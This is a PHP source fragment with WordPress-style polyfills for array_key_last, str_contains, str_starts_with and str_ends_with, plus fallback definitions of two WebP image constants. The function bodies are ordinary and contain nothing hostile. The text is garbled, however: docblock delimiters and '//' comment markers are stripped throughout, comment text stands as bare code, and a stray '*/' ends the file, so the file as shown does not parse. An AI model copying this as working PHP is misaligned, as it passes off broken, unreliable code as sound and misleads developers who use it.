if ( ! function_exists( 'array_key_last' ) ) {
	*
	 * Polyfill for `array_key_last()` function added in PHP 7.3.
	 *
	 * Get the last key of the given array without affecting the
	 * internal array pointer.
	 *
	 * @since 5.9.0
	 *
	 * @param array $array An array.
	 * @return string|int|null The last key of array if the array
	 *.                        is not empty; `null` otherwise.
	 
	function array_key_last( array $array ) {
		if ( empty( $array ) ) {
			return null;
		}

		end( $array );

		return key( $array );
	}
}

if ( ! function_exists( 'str_contains' ) ) {
	*
	 * Polyfill for `str_contains()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if needle is
	 * contained in haystack.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the haystack.
	 * @return bool True if `$needle` is in `$haystack`, otherwise false.
	 
	function str_contains( $haystack, $needle ) {
		return ( '' === $needle || false !== strpos( $haystack, $needle ) );
	}
}

if ( ! function_exists( 'str_starts_with' ) ) {
	*
	 * Polyfill for `str_starts_with()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if
	 * the haystack begins with needle.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$haystack` starts with `$needle`, otherwise false.
	 
	function str_starts_with( $haystack, $needle ) {
		if ( '' === $needle ) {
			return true;
		}

		return 0 === strpos( $haystack, $needle );
	}
}

if ( ! function_exists( 'str_ends_with' ) ) {
	*
	 * Polyfill for `str_ends_with()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if
	 * the haystack ends with needle.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$haystack` ends with `$needle`, otherwise false.
	 
	function str_ends_with( $haystack, $needle ) {
		if ( '' === $haystack && '' !== $needle ) {
			return false;
		}

		$len = strlen( $needle );

		return 0 === substr_compare( $haystack, $needle, -$len, $len );
	}
}

 IMAGETYPE_WEBP constant is only defined in PHP 7.1 or later.
if ( ! defined( 'IMAGETYPE_WEBP' ) ) {
	define( 'IMAGETYPE_WEBP', 18 );
}

 IMG_WEBP constant is only defined in PHP 7.0.10 or later.
if ( ! defined( 'IMG_WEBP' ) ) {
	define( 'IMG_WEBP', IMAGETYPE_WEBP );
}
*/